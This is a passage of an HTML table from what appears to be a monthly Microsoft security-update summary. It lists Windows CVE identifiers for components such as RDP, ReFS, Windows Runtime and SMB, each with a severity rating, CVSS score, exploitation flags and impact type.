  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54126"><span>CVE-2026-54126</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57982"><span>CVE-2026-57982</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50369"><span>CVE-2026-50369</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58626"><span>CVE-2026-58626</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55014"><span>CVE-2026-55014</span></a></td>
  <td width="256" class="xl74">Windows Remote Help
  Defense Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50318"><span>CVE-2026-50318</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50407"><span>CVE-2026-50407</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50357"><span>CVE-2026-50357</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50441"><span>CVE-2026-50441</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50668"><span>CVE-2026-50668</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54109"><span>CVE-2026-54109</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49792"><span>CVE-2026-49792</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49793"><span>CVE-2026-49793</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50362"><span>CVE-2026-50362</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50492"><span>CVE-2026-50492</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50501"><span>CVE-2026-50501</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58530"><span>CVE-2026-58530</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49791"><span>CVE-2026-49791</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50451"><span>CVE-2026-50451</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57096"><span>CVE-2026-57096</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50323"><span>CVE-2026-50323</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50452"><span>CVE-2026-50452</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50348"><span>CVE-2026-50348</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50345"><span>CVE-2026-50345</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50322"><span>CVE-2026-50322</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50340"><span>CVE-2026-50340</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50410"><span>CVE-2026-50410</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50449"><span>CVE-2026-50449</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50460"><span>CVE-2026-50460</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50403"><span>CVE-2026-50403</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50385"><span>CVE-2026-50385</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50413"><span>CVE-2026-50413</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50457"><span>CVE-2026-50457</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50486"><span>CVE-2026-50486</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50503"><span>CVE-2026-50503</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54125"><span>CVE-2026-54125</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58527"><span>CVE-2026-58527</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50373"><span>CVE-2026-50373</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50679"><span>CVE-2026-50679</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44806"><span>CVE-2026-44806</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50681"><span>CVE-2026-50681</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56186"><span>CVE-2026-56186</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50367"><span>CVE-2026-50367</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58619"><span>CVE-2026-58619</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50311"><span>CVE-2026-50311</span></a></td>
  <td width="256" class="xl74">Windows Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50328"><span>CVE-2026-50328</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58531"><span>CVE-2026-58531</span></a></td>
  <td width="256" class="xl74">Windows SMB Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54997"><span>CVE-2026-54997</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49801"><span>CVE-2026-49801</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50690"><span>CVE-2026-50690</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56168"><span>CVE-2026-56168</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50360"><span>CVE-2026-50360</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57089"><span>CVE-2026-57089</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50333"><span>CVE-2026-50333</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50298"><span>CVE-2026-50298</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49171"><span>CVE-2026-49171</span></a></td>
  <td width="256" class="xl74">Windows Speech Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49170"><span>CVE-2026-49170</span></a></td>
  <td width="256" class="xl74">Windows
  StateRepository API Server file Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58526"><span>CVE-2026-58526</span></a></td>
  <td width="256" class="xl74">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50299"><span>CVE-2026-50299</span></a></td>
  <td width="256" class="xl74">Windows Storage Spaces
  Direct Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57968"><span>CVE-2026-57968</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57973"><span>CVE-2026-57973</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50418"><span>CVE-2026-50418</span></a></td>
  <td width="256" class="xl74">Windows System Secure
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50306"><span>CVE-2026-50306</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50307"><span>CVE-2026-50307</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49177"><span>CVE-2026-49177</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50669"><span>CVE-2026-50669</span></a></td>
  <td width="256" class="xl74">Windows Telephony
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54124"><span>CVE-2026-54124</span></a></td>
  <td width="256" class="xl74">Windows Terminal
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50350"><span>CVE-2026-50350</span></a></td>
  <td width="256" class="xl74">Windows Trusted
  Runtime Interface Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50326"><span>CVE-2026-50326</span></a></td>
  <td width="256" class="xl74">Windows Unified
  Consent System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49790"><span>CVE-2026-49790</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50498"><span>CVE-2026-50498</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58547"><span>CVE-2026-58547</span></a></td>
  <td width="256" class="xl74">Windows Universal Plug
  and Play (UPnP) Device Host Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49794"><span>CVE-2026-49794</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
